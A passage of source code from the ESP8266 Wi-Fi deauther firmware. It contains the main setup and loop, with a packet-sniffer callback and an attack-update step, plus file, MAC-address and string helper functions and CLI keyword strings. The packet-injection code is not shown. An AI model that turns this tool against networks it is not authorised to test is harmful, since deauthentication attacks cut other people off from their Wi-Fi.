FORMAT_SPIFFS\n    prnt(SETUP_FORMAT_SPIFFS);\n    LittleFS.format();\n    prntln(SETUP_OK);\n#endif // ifdef FORMAT_SPIFFS\n\n#ifdef FORMAT_EEPROM\n    prnt(SETUP_FORMAT_EEPROM);\n    EEPROMHelper::format(EEPROM_SIZE);\n    prntln(SETUP_OK);\n#endif // ifdef FORMAT_EEPROM\n\n    // Format SPIFFS when in boot-loop\n    if (/*spiffsError || */ !EEPROMHelper::checkBootNum(BOOT_COUNTER_ADDR)) {\n        prnt(SETUP_FORMAT_SPIFFS);\n        LittleFS.format();\n        prntln(SETUP_OK);\n\n        prnt(SETUP_FORMAT_EEPROM);\n        EEPROMHelper::format(EEPROM_SIZE);\n        prntln(SETUP_OK);\n\n        EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);\n    }\n\n    // get time\n    currentTime = millis();\n\n    // load settings\n    #ifndef RESET_SETTINGS\n    settings::load();\n    #else // ifndef RESET_SETTINGS\n    settings::reset();\n    settings::save();\n    #endif // ifndef RESET_SETTINGS\n\n    wifi::begin();\n    wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {\n        scan.sniffer(buf, len);\n    });\n\n    // start display\n    if (settings::getDisplaySettings().enabled) {\n        displayUI.setup();\n        displayUI.mode = DISPLAY_MODE::INTRO;\n    }\n\n    // load everything else\n    names.load();\n    ssids.load();\n    cli.load();\n\n    // create scan.json\n    scan.setup();\n\n    // dis/enable serial command interface\n    if (settings::getCLISettings().enabled) {\n        cli.enable();\n    } else {\n        prntln(SETUP_SERIAL_WARNING);\n        Serial.flush();\n        Serial.end();\n    }\n\n    // start access point/web interface\n    if (settings::getWebSettings().enabled) wifi::startAP();\n\n    // STARTED\n    prntln(SETUP_STARTED);\n\n    // version\n    prntln(DEAUTHER_VERSION);\n\n    // setup LED\n    led::setup();\n\n    // setup reset button\n    resetButton = new ButtonPullup(RESET_BUTTON);\n}\n\nvoid loop() {\n    currentTime = millis();\n\n    led::update();   // update LED color\n    wifi::update();  // manage access point\n    attack.update(); // run attacks\n    displayUI.update();\n    cli.update();    // read and run serial input\n    scan.update();   // run scan\n    ssids.update();  // run random mode, if enabled\n\n    // auto-save\n    if (settings::getAutosaveSettings().enabled\n        && (currentTime - autosaveTime > settings::getAutosaveSettings().time)) {\n        autosaveTime = currentTime;\n        names.save(false);\n        ssids.save(false);\n        settings::save(false);\n    }\n\n    if (!booted) {\n        booted = true;\n        EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);\n#ifdef HIGHLIGHT_LED\n        displayUI.setupLED();\n#endif // ifdef HIGHLIGHT_LED\n    }\n\n    resetButton->update();\n    if (resetButton->holding(5000)) {\n        led::setMode(LED_MODE::SCAN);\n        DISPLAY_MODE _mode = displayUI.mode;\n        displayUI.mode = DISPLAY_MODE::RESETTING;\n        displayUI.update(true);\n\n        settings::reset();\n        settings::save(true);\n\n        delay(2000);\n\n        led::setMode(LED_MODE::IDLE);\n        displayUI.mode = _mode;\n    }\n}\n"
  },
  {
    "path": "esp8266_deauther/functions.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\n#include <LittleFS.h>\nextern \"C\" {\n  #include \"user_interface.h\"\n}\n#include \"src/ArduinoJson-v5.13.5/ArduinoJson.h\"\n\n/*\n   Here is a collection of useful functions and variables.\n   They are used globally via an 'extern' reference in every class.\n   Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK,\n   there were some fixed in later version but we need to use the old version for injecting deauth packets.\n */\n\nuint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };\nuint8_t wifi_channel = 1;\n\n// ===== UTF8 FIX ===== //\nString escape(String str) {\n    str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH));\n    str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES));\n    return str;\n}\n\nbool ascii(char c) {\n    return c >= 0 && c <= 127;\n}\n\nbool printableAscii(char c) {\n    return c >= 32 && c <= 126;\n}\n\nbool getBit(uint8_t b, uint8_t n) {\n    return (b >> n) % 2 != 0;\n}\n\nuint8_t utf8(uint8_t c) {\n    if (!getBit(c, 7)) return 1;\n\n    if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2;\n\n    if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3;\n\n    if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4;\n\n    return 0;\n}\n\nbool utf8Part(uint8_t c) {\n    return getBit(c, 7) && !getBit(c, 6);\n}\n\nString fixUtf8(String str) {\n    int size = str.length();\n\n    String  result = String();\n    char    c;\n    uint8_t len;\n    bool    ok;\n\n    for (int i = 0; i < size; i++) {\n        c   = str.charAt(i);       // get character\n        len = utf8(c);             // get utf8 char len\n\n        if (len <= 1) {\n            result += c;           // when 1 byte char, add it :)\n        }\n        else if (i + len > size) { // when char bigger than remaining string, end loop\n            i = size + 1;\n        }\n        else {\n            ok = true;\n\n            for (int j = 1; j < len && ok; j++) {\n                ok = utf8Part(str.charAt(i + j));   // if following char is compliant or not\n            }\n\n            if (ok) result += c;                    // everything is ok, add char and continue\n            else {                                  // utf8 char is broken\n                for (int j = 1; j < len; j++) {     // go through the next bytes\n                    c = str.charAt(i + j);\n\n                    if (utf8(c) == 1) result += c;  // when byte is ascii, add it :)\n                }\n                i += len - 1;                       // skip utf8 char because we already managed it\n            }\n        }\n    }\n    return result;\n}\n\nString removeUtf8(String str) {\n    str = fixUtf8(str); // fix it in case a utf char is broken\n    int size = str.length();\n\n    String  result = String();\n    char    c;\n    uint8_t len;\n\n    for (int i = 0; i < size; i++) {\n        c   = str.charAt(i);        // get character\n        len = utf8(c);              // get utf8 char len\n\n        if (len <= 1) result += c;  // when 1 byte char, add it :)\n        else i += len - 1;          // skip other chars\n    }\n\n    return result;\n}\n\nint utf8Len(String str) {\n    int size = str.length();\n\n    int  result = 0;\n    char c;\n    uint8_t len;\n\n    for (int i = 0; i < size; i++) {\n        c   = str.charAt(i);     // get character\n        len = utf8(c);           // get utf8 char len\n\n        if (len <= 1) result++;  // when 1 byte char, add 1 :)\n        else {\n            result++;\n\n            for (int j = 1; j < len; j++) {\n                c = str.charAt(i + j);\n\n                if (!utf8Part(c) && (utf8(c) == 1)) {\n                    Serial.println(c, HEX);\n                    result++; // if following char is compliant or not\n                }\n            }\n            i += len - 1;\n        }\n    }\n\n    return result;\n}\n\nString replaceUtf8(String str, String r) {\n    str = fixUtf8(str); // fix it in case a utf char is broken\n    int size = str.length();\n\n    String  result = String();\n    char    c;\n    uint8_t len;\n\n    for (int i = 0; i < size; i++) {\n        c   = str.charAt(i);        // get character\n        len = utf8(c);              // get utf8 char len\n\n        if (len <= 1) result += c;  // when 1 byte char, add it :)\n        else {\n            result += r;\n            i      += len - 1;      // skip other chars\n        }\n    }\n\n    return result;\n}\n\n// ===== LANGUAGE STRING FUNCTIONS ===== //\n\n// for reading Strings from the PROGMEM\nString str(const char* ptr) {\n    char keyword[strlen_P(ptr)];\n\n    strcpy_P(keyword, ptr);\n    return String(keyword);\n}\n\n// for converting keywords\nString keyword(const char* keywordPtr) {\n    char keyword[strlen_P(keywordPtr)];\n\n    strcpy_P(keyword, keywordPtr);\n\n    String  str = \"\";\n    uint8_t len = strlen(keyword);\n    uint8_t i   = 0;\n\n    while (i < len && keyword[i] != SLASH && keyword[i] != COMMA) {\n        str += keyword[i];\n        i++;\n    }\n\n    return str;\n}\n\n// equals function\nbool eqls(const char* str, const char* keywordPtr) {\n    if (strlen(str) > 255) return false;  // when string too long\n\n    char keyword[strlen_P(keywordPtr) + 1];\n\n    strcpy_P(keyword, keywordPtr);\n\n    uint8_t lenStr     = strlen(str);\n    uint8_t lenKeyword = strlen(keyword);\n\n    if (lenStr > lenKeyword) return false;  // string can't be longer than keyword (but can be smaller because of '/'\n\n    // and ',')\n\n    uint8_t a      = 0;\n    uint8_t b      = 0;\n    bool    result = true;\n\n    while (a < lenStr && b < lenKeyword) {\n        if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++;\n\n        if (tolower(str[a]) != tolower(keyword[b])) result = false;\n\n        if (((a == lenStr) && !result) || !result) { // fast forward to next comma\n            while (b < lenKeyword && keyword[b] != COMMA) b++;\n            result = true;\n            a      = 0;\n        } else {\n            a++;\n            b++;\n        }\n    }\n    // comparison correct AND string checked until the end AND keyword checked until the end\n    return result && a == lenStr && (keyword[b] == COMMA || keyword[b] == SLASH || keyword[b] == ENDOFLINE);\n}\n\nbool eqls(String str, const char* keywordPtr) {\n    return eqls(str.c_str(), keywordPtr);\n}\n\n// boolean to string\nString b2s(bool input) {\n    return str(input ? STR_TRUE : STR_FALSE);\n}\n\n// boolean to asterix *\nString b2a(bool input) {\n    return input ? String(ASTERIX) : String(SPACE);\n}\n\n// string to boolean\nbool s2b(String input) {\n    return eqls(input, STR_TRUE);\n}\n\n// ===== PRINT FUNCTIONS ===== //\nvoid prnt(const String s) {\n    Serial.print(s);\n}\n\nvoid prnt(const bool b) {\n    Serial.print(b2s(b));\n}\n\nvoid prnt(const char c) {\n    Serial.print(c);\n}\n\nvoid prnt(const char* ptr) {\n    Serial.print(FPSTR(ptr));\n}\n\nvoid prnt(const char* ptr, int len) {\n    for (int i = 0; i<len; i++) prnt(ptr[i]);\n}\n\nvoid prnt(const int i) {\n    Serial.print((String)i);\n}\n\nvoid prnt(const uint32_t i) {\n    Serial.printf(\"%u\", i);\n}\n\nvoid prntln() {\n    Serial.println();\n}\n\nvoid prntln(const String s) {\n    Serial.println(s);\n}\n\nvoid prntln(const bool b) {\n    Serial.println(b2s(b));\n}\n\nvoid prntln(const char c) {\n    Serial.println(c);\n}\n\nvoid prntln(const char* ptr) {\n    Serial.println(FPSTR(ptr));\n}\n\nvoid prntln(const char* ptr, int len) {\n    for (int i = 0; i<len; i++) prnt(ptr[i]);\n    prntln();\n}\n\nvoid prntln(const int i) {\n    Serial.println((String)i);\n}\n\nvoid prntln(const uint32_t i) {\n    Serial.printf(\"%u\\r\\n\", i);\n}\n\n/* ===== WiFi ===== */\nvoid setWifiChannel(uint8_t ch, bool force) {\n    if (((ch != wifi_channel) || force) && (ch < 15)) {\n        wifi_channel = ch;\n        wifi_set_channel(wifi_channel);\n    }\n}\n\nvoid setOutputPower(float dBm) {\n    if (dBm > 20.5) {\n        dBm = 20.5;\n    } else if (dBm < 0) {\n        dBm = 0;\n    }\n\n    uint8_t val = (dBm * 4.0f);\n\n    system_phy_set_max_tpw(val);\n}\n\n/* ===== MAC ADDRESSES ===== */\nbool macBroadcast(uint8_t* mac) {\n    for (uint8_t i = 0; i < 6; i++)\n        if (mac[i] != broadcast[i]) return false;\n\n    return true;\n}\n\nbool macValid(uint8_t* mac) {\n    for (uint8_t i = 0; i < 6; i++)\n        if (mac[i] != 0x00) return true;\n\n    return false;\n}\n\nbool macMulticast(uint8_t* mac) {\n    // see https://en.wikipedia.org/wiki/Multicast_address\n    if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true;\n\n    if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true;\n\n    if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true;\n\n    if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) &&\n        ((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) &&\n        ((mac[4] == 0x00) || (mac[4] == 0x01))) return true;\n\n    if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) &&\n        ((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true;\n\n    if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) &&\n        (mac[5] == 0x00)) return true;\n\n    return false;\n}\n\n/* ===== VENDOR LIST (oui.h) ===== */\nvoid getRandomMac(uint8_t* mac) {\n    int num = random(sizeof(data_vendors) / 11 - 1);\n    uint8_t i;\n\n    for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i);\n\n    for (i = 3; i < 6; i++) mac[i] = random(256);\n}\n\nint binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {\n    uint8_t listBytes[3];\n    int     res;\n    int     mid = (lowerEnd + upperEnd) / 2;\n\n    while (lowerEnd <= upperEnd) {\n        listBytes[0] = pgm_read_byte_near(data_macs + mid * 5);\n        listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1);\n        listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2);\n\n        res = memcmp(searchBytes, listBytes, 3);\n\n        if (res == 0) {\n            return mid;\n        } else if (res < 0) {\n            upperEnd = mid - 1;\n            mid      = (lowerEnd + upperEnd) / 2;\n        } else if (res > 0) {\n            lowerEnd = mid + 1;\n            mid      = (lowerEnd + upperEnd) / 2;\n        }\n    }\n\n    return -1;\n}\n\nString searchVendor(uint8_t* mac) {\n    String vendorName = String();\n    int    pos        = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1);\n    int    realPos    = pgm_read_byte_near(data_macs + pos * 5 + 3) | pgm_read_byte_near(data_macs + pos * 5 + 4) << 8;\n\n    if (pos >= 0) {\n        char tmp;\n\n        for (int i = 0; i < 8; i++) {\n            tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i);\n\n            if (tmp != ENDOFLINE) vendorName += tmp;\n            tmp += SPACE;\n        }\n    }\n\n    return vendorName;\n}\n\n/* ===== STRING ===== */\nString bytesToStr(const uint8_t* b, uint32_t size) {\n    String str;\n\n    for (uint32_t i = 0; i < size; i++) {\n        if (b[i] < 0x10) str += ZERO;\n        str += String(b[i], HEX);\n\n        if (i < size - 1) str += DOUBLEPOINT;\n    }\n    return str;\n}\n\nString macToStr(const uint8_t* mac) {\n    return bytesToStr(mac, 6);\n}\n\nbool strToMac(String macStr, uint8_t* mac) {\n    macStr.replace(String(DOUBLEPOINT), String());  // \":\" -> \"\"\n    macStr.replace(\"0x\", String());                 // \"0x\" -> \"\"\n    macStr.replace(String(COMMA), String());        // \",\" -> \"\"\n    macStr.replace(String(DOUBLEQUOTES), String()); // \"\\\"\" -> \"\"\n    macStr.toUpperCase();\n\n    if (macStr.length() != 12) {\n        prntln(F_ERROR_MAC);\n        return false;\n    }\n\n    for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);\n\n    return true;\n}\n\nbool strToIP(String ipStr, uint8_t* ip) {\n    String parts[4]  = { \"0\", \"0\", \"0\", \"0\" };\n    int    ipAddr[4] = { -1, -1, -1, -1 };\n\n    int j = 0;\n\n    for (int i = 0; i<ipStr.length(); i++) {\n        if (ipStr[i] == '.') j++;\n        else parts[j] += ipStr[i];\n    }\n\n    for (int i = 0; i<4; i++) {\n        ipAddr[i] = parts[i].toInt();\n        if ((ipAddr[i] < 0) || (ipAddr[i] > 255)) return false;\n    }\n\n    for (int i = 0; i<4; i++) {\n        ip[i] = (uint8_t)ipAddr[i];\n    }\n\n    return true;\n}\n\nvoid strToColor(String str, uint8_t* buf) {\n    str.replace(\":\", \"\");\n    str.replace(\"0x\", \"\");\n    str.replace(\",\", \"\");\n    str.replace(\"#\", \"\");\n    str.toUpperCase();\n\n    if (str.length() != 6) {\n        prntln(F_COLOR_INVALID);\n        return;\n    }\n\n    for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);\n}\n\nString center(String a, int len) {\n    int spaces = len - a.length();\n\n    for (int i = 0; i < spaces; i += 2) {\n        a = ' ' + a + ' ';\n    }\n\n    a = a.substring(0, len);\n\n    return a;\n}\n\nString left(String a, int len) {\n    int spaces = len - a.length();\n\n    while (spaces > 0) {\n        a = a + ' ';\n        spaces--;\n    }\n\n    a = a.substring(0, len);\n\n    return a;\n}\n\nString right(String a, int len) {\n    int spaces = len - a.length();\n\n    while (spaces > 0) {\n        a = ' ' + a;\n        spaces--;\n    }\n\n    a = a.substring(0, len);\n\n    return a;\n}\n\nString leftRight(String a, String b, int len) {\n    int spaces = len - a.length() - b.length();\n\n    while (spaces > 0) {\n        a = a + ' ';\n        spaces--;\n    }\n\n    a = a + b;\n\n    a = a.substring(0, len);\n\n    return a;\n}\n\n/* ===== SPIFFS ===== */\nbool progmemToSpiffs(const char* adr, int len, String path) {\n    prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS));\n    File f = LittleFS.open(path, \"w+\");\n\n    if (!f) {\n        prntln(SETUP_ERROR);\n        return false;\n    }\n\n    for (int i = 0; i < len; i++) {\n        f.write(pgm_read_byte_near(adr + i));\n    }\n    f.close();\n\n    prntln(SETUP_OK);\n\n    return true;\n}\n\nbool readFile(String path, String& buf) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n    File f = LittleFS.open(path, \"r\");\n\n    if (!f) return false;\n\n    if (f.size() == 0) return false;\n\n    while (f.available()) buf += (char)f.read();\n\n    f.close();\n\n    return true;\n}\n\nvoid readFileToSerial(String path, bool showLineNum) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n    File f = LittleFS.open(path, \"r\");\n\n    if (!f) {\n        prnt(F_ERROR_READING_FILE);\n        prntln(path);\n        return;\n    }\n\n    uint32_t c = 0;\n    char     tmp;\n\n    if (showLineNum) {\n        prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));\n    }\n\n    while (f.available()) {\n        tmp = f.read();\n        prnt(tmp);\n\n        if ((tmp == NEWLINE) && showLineNum) {\n            c++;\n            prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));\n        }\n    }\n\n    f.close();\n}\n\nbool copyFile(String pathFrom, String pathTo) {\n    if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;\n\n    if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;\n\n    if (!LittleFS.exists(pathFrom)) {\n        prnt(F_ERROR_FILE);\n        prntln(pathFrom);\n        return false;\n    }\n\n    File f1 = LittleFS.open(pathFrom, \"r\");\n    File f2 = LittleFS.open(pathTo, \"w+\");\n\n    if (!f1 || !f2) return false;\n\n    while (f1.available()) {\n        f2.write(f1.read());\n    }\n\n    return true;\n}\n\nbool renameFile(String pathFrom, String pathTo) {\n    if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;\n\n    if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;\n\n    if (!LittleFS.exists(pathFrom)) {\n        prnt(F_ERROR_FILE);\n        prntln(pathFrom);\n        return false;\n    }\n\n    LittleFS.rename(pathFrom, pathTo);\n    return true;\n}\n\nbool writeFile(String path, String& buf) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n    File f = LittleFS.open(path, \"w+\");\n\n    if (!f) return false;\n\n    uint32_t len = buf.length();\n\n    for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i));\n    f.close();\n\n    return true;\n}\n\nbool appendFile(String path, String& buf) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n    File f = LittleFS.open(path, \"a+\");\n\n    if (!f) return false;\n\n    uint32_t len = buf.length();\n\n    for (uint32_t i = 0; i < len; i++) f.write(buf[i]);\n    f.close();\n\n    return true;\n}\n\nvoid checkFile(String path, String data) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n\n    if (!LittleFS.exists(path)) writeFile(path, data);\n}\n\nbool removeLines(String path, int lineFrom, int lineTo) {\n    int  c = 0;\n    char tmp;\n\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n\n    String tmpPath = str(F_TMP) + path + str(F_COPY);\n\n    File f  = LittleFS.open(path, \"r\");\n    File f2 = LittleFS.open(tmpPath, \"w\");\n\n    if (!f || !f2) return false;\n\n    while (f.available()) {\n        tmp = f.read();\n\n        if ((c < lineFrom) || (c > lineTo)) f2.write(tmp);\n\n        if (tmp == NEWLINE) c++;\n    }\n\n    f.close();\n    f2.close();\n    LittleFS.remove(path);\n    LittleFS.rename(tmpPath, path);\n\n    return true;\n}\n\nbool replaceLine(String path, int line, String& buf) {\n    int  c = 0;\n    char tmp;\n\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n\n    String tmpPath = \"/tmp\" + path + \"_copy\";\n\n    File f  = LittleFS.open(path, \"r\");\n    File f2 = LittleFS.open(tmpPath, \"w\");\n\n    if (!f || !f2) return false;\n\n    while (f.available()) {\n        tmp = f.read();\n\n        if (c != line) f2.write(tmp);\n        else {\n            f2.println(buf);\n\n            while (f.read() != NEWLINE && f.available()) {}\n            c++;\n        }\n\n        if (tmp == NEWLINE) c++;\n    }\n\n    f.close();\n    f2.close();\n    LittleFS.remove(path);\n    LittleFS.rename(tmpPath, path);\n\n    return true;\n}\n\nJsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n\n    // create JSON Variant\n    JsonVariant root;\n\n    // create buffer\n    String buf = \"\";\n\n    // read file into buffer\n    if (!readFile(path, buf)) { // if file couldn't be opened, send 404 error\n        prnt(F_ERROR_OPEN);\n        prntln(path);\n        buf = \"{}\";\n    }\n\n    // parse file-buffer into a JSON Variant\n    root = jsonBuffer.parse(buf);\n\n    // if parsing unsuccessful\n    if (!root.success()) {\n        prnt(F_ERROR_PARSING_JSON);\n        prntln(path);\n        prntln(buf);\n    }\n\n    return root;\n}\n\nbool removeFile(String path) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n    return LittleFS.remove(path);\n}\n\nvoid saveJSONFile(String path, JsonObject& root) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n\n    // create buffer\n    String buf;\n\n    // convert JSON object into string and write it into buffer\n    root.printTo(buf);\n\n    // if buffer too big\n    if (buf.length() > 2048) {\n        prntln(F_ERROR_TO_BIG);\n        prntln(path);\n        prntln(buf);\n        return;\n    }\n\n    // write buffer into SPIFFS file\n    writeFile(path, buf);\n}\n\nvoid saveJSONFile(String path, JsonArray& root) {\n    if (path.charAt(0) != SLASH) path = String(SLASH) + path;\n\n    // create buffer\n    String buf;\n\n    // convert JSON object into string and write it into buffer\n    root.printTo(buf);\n\n    // if buffer too big\n    if (buf.length() > 2048) {\n        prntln(F_ERROR_TO_BIG);\n        prntln(path);\n        prntln(buf);\n        return;\n    }\n\n    // write buffer into SPIFFS file\n    writeFile(path, buf);\n}\n\nString formatBytes(size_t bytes) {\n    if (bytes < 1024) return String(bytes) + \"B\";\n    else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + \"KB\";\n    else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + \"MB\";\n    else return String(bytes / 1024.0 / 1024.0 / 1024.0) + \"GB\";\n}"
  },
  {
    "path": "esp8266_deauther/language.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\n\nextern String str(const char* ptr);\nextern String keyword(const char* keywordPtr);\nextern bool eqls(const char* str, const char* keywordPtr);\nextern bool eqls(String str, const char* keywordPtr);\nextern String b2s(bool input);\nextern String b2a(bool input);\nextern bool s2b(String input);\nextern void prnt(const String s);\nextern void prnt(const bool b);\nextern void prnt(const char c);\nextern void prnt(const char* ptr);\nextern void prnt(const char* ptr, int len);\nextern void prnt(const int i);\nextern void prnt(const uint32_t i);\nextern void prntln();\nextern void prntln(const String s);\nextern void prntln(const bool b);\nextern void prntln(const char c);\nextern void prntln(const char* ptr);\nextern void prntln(const char* ptr, int len);\nextern void prntln(const int i);\nextern void prntln(const uint32_t i);\n\n/*\n   The following variables are the strings used for the serial interface, display interface and settings.\n   The keywords for the serial CLI have a simple structure to save a bit of memory and CPU time:\n   - every keyword has a unique string\n   - / is used for optional characters, i.e. 'enable/d' makes 'enable' and 'enabled'\n   - , is used for seperations, i.e. 'select/ed,-s' makes 'select', 'selected' and '-s'\n   - everything is in lowercase\n */\n\n// ===== GLOBAL STRINGS ===== //\n\n// Often used characters, therefor in the RAM\nconst char CURSOR              = '|';\nconst char SPACE               = ' ';\nconst char DOUBLEPOINT         = ':';\nconst char EQUALS              = '=';\nconst char HASHSIGN            = '#';\nconst char ASTERIX             = '*';\nconst char PERCENT             = '%';\nconst char DASH                = '-';\nconst char QUESTIONMARK        = '?';\nconst char ZERO                = '0';\nconst char S                   = 's';\nconst char M                   = 'm';\nconst char D                   = 'd';\nconst char DOUBLEQUOTES        = '\\\"';\nconst char SLASH               = '/';\nconst char NEWLINE             = '\\n';\nconst char CARRIAGERETURN      = '\\r';\nconst char SEMICOLON           = ';';\nconst char BACKSLASH           = '\\\\';\nconst char POINT               = '.';\nconst char VERTICALBAR         = '|';\nconst char COMMA               = ',';\nconst char ENDOFLINE           = '\\0';\nconst char OPEN_BRACKET        = '[';\nconst char CLOSE_BRACKET       = ']';\nconst char OPEN_CURLY_BRACKET  = '{';\nconst char CLOSE_CURLY_BRACKET = '}';\n\nconst char STR_TRUE[] PROGMEM = \"true\";\nconst char STR_FALSE[] PROGMEM = \"false\";\nconst char STR_MIN[] PROGMEM = \"min\";\n\n// ===== SETUP ===== //\nconst char SETUP_OK[] PROGMEM = \"OK\";\nconst char SETUP_ERROR[] PROGMEM = \"ERROR\";\nconst char SETUP_MOUNT_SPIFFS[] PROGMEM = \"Mounting SPIFFS...\";\nconst char SETUP_FORMAT_SPIFFS[] PROGMEM = \"Formatting SPIFFS...\";\nconst char SETUP_FORMAT_EEPROM[] PROGMEM = \"Formatting EEPROM...\";\nconst char SETUP_SERIAL_WARNING[] PROGMEM = \"Warning: Serial deactivated\";\nconst char SETUP_STARTED[] PROGMEM = \"STARTED! \\\\o/\";\nconst char SETUP_COPYING[] PROGMEM = \"Copying \";\nconst char SETUP_PROGMEM_TO_SPIFFS[] PROGMEM = \" from PROGMEM to SPIFFS...\";\n\n// ===== SERIAL COMMAND LINE INTERFACE ===== //\nconst char CLI_SCAN[] PROGMEM = \"scan\";                        // scan\nconst char CLI_REBOOT[] PROGMEM = \"reboot\";                    // reboot\nconst char CLI_STATUS[] PROGMEM = \"status\";                    // status\nconst char CLI_SHOW[] PROGMEM = \"show\";                        // show\nconst char CLI_REMOVE[] PROGMEM = \"remove\";                    // remove\nconst char CLI_SET[] PROGMEM = \"set\";                          // set\nconst char CLI_STOP[] PROGMEM = \"stop\";                        // stop\nconst char CLI_LOAD[] PROGMEM = \"load\";                        // load\nconst char CLI_SAVE[] PROGMEM = \"save\";                        // save\nconst char CLI_ADD[] PROGMEM = \"add\";                          // add\nconst char CLI_DESELECT[] PROGMEM = \"deselect\";                // deselect\nconst char CLI_CLEAR[] PROGMEM = \"clear\";                      // clear\nconst char CLI_SYSINFO[] PROGMEM = \"sysinfo\";                  // sysinfo\nconst char CLI_RESET[] PROGMEM = \"reset\";                      // reset\nconst char CLI_ON[] PROGMEM = \"on\";                            // on\nconst char CLI_OFF[] PROGMEM = \"off\";                          // off\nconst char CLI_RANDOM[] PROGMEM = \"random\";                    // random\nconst char CLI_GET[] PROGMEM = \"get\";                          // get\nconst char CLI_INFO[] PROGMEM = \"info\";                        // info\nconst char CLI_HELP[] PROGMEM = \"help\";                        // help\nconst char CLI_RICE[] PROGMEM = \"rice\";                        // rice\nconst char CLI_FORMAT[] PROGMEM = \"format\";                    // format\nconst char CLI_DELETE[] PROGMEM = \"delete\";                    // delete\nconst char CLI_PRINT[] PROGMEM = \"print\";                      // print\nconst char CLI_RUN[] PROGMEM = \"run\";                          // run\nconst char CLI_WRITE[] PROGMEM = \"write\";                      // write\nconst char CLI_LED[] PROGMEM = \"led\";                          // led\nconst char CLI_SEND[] PROGMEM = \"send\";                        // send\nconst char CLI_CUSTOM[] PROGMEM = \"custom\";                    // custom\nconst char CLI_DELAY[] PROGMEM = \"delay\";                      // delay\nconst char CLI_REPLACE[] PROGMEM = \"replace\";                  // replace\nconst char CLI_DRAW[] PROGMEM = \"draw\";                        // draw\nconst char CLI_SCRIPT[] PROGMEM = \"script\";                    // script\nconst char CLI_STARTAP[] PROGMEM = \"startap\";                  // startap\nconst char CLI_STOPAP[] PROGMEM = \"stopap\";                    // stopap\nconst char CLI_RENAME[] PROGMEM = \"rename\";                    // rename\nconst char CLI_COPY[] PROGMEM = \"copy\";                        // copy\nconst char CLI_ENABLE[] PROGMEM = \"enable/d\";                  // enable, enabled\nconst char CLI_DISABLE[] PROGMEM = \"disable/d\";                // disable, disabled\nconst char CLI_WPA2[] PROGMEM = \"wpa/2,-wpa/2\";                // wpa, wpa2, -wpa, -wpa2\nconst char CLI_ATTACK[] PROGMEM = \"attack/s\";                  // attack, attacks\nconst char CLI_CHICKEN[] PROGMEM = \"chicken/s\";                // chicken, chickens\nconst char CLI_SETTING[] PROGMEM = \"setting/s\";                // setting, settings\nconst char CLI_ID[] PROGMEM = \"id,-i/d\";                       // id, -i, -id\nconst char CLI_ALL[] PROGMEM = \"all,-a\";                       // all, -a\nconst char CLI_TIME[] PROGMEM = \"time,-t\";                     // time, -t\nconst char CLI_CONTINUE[] PROGMEM = \"continue,-c\";             // continue, -c\nconst char CLI_CHANNEL[] PROGMEM = \"channel,-ch\";              // channel, -ch\nconst char CLI_MAC[] PROGMEM = \"mac,-m\";                       // mac, -m\nconst char CLI_BSSID[] PROGMEM = \"bssid,-b\";                   // 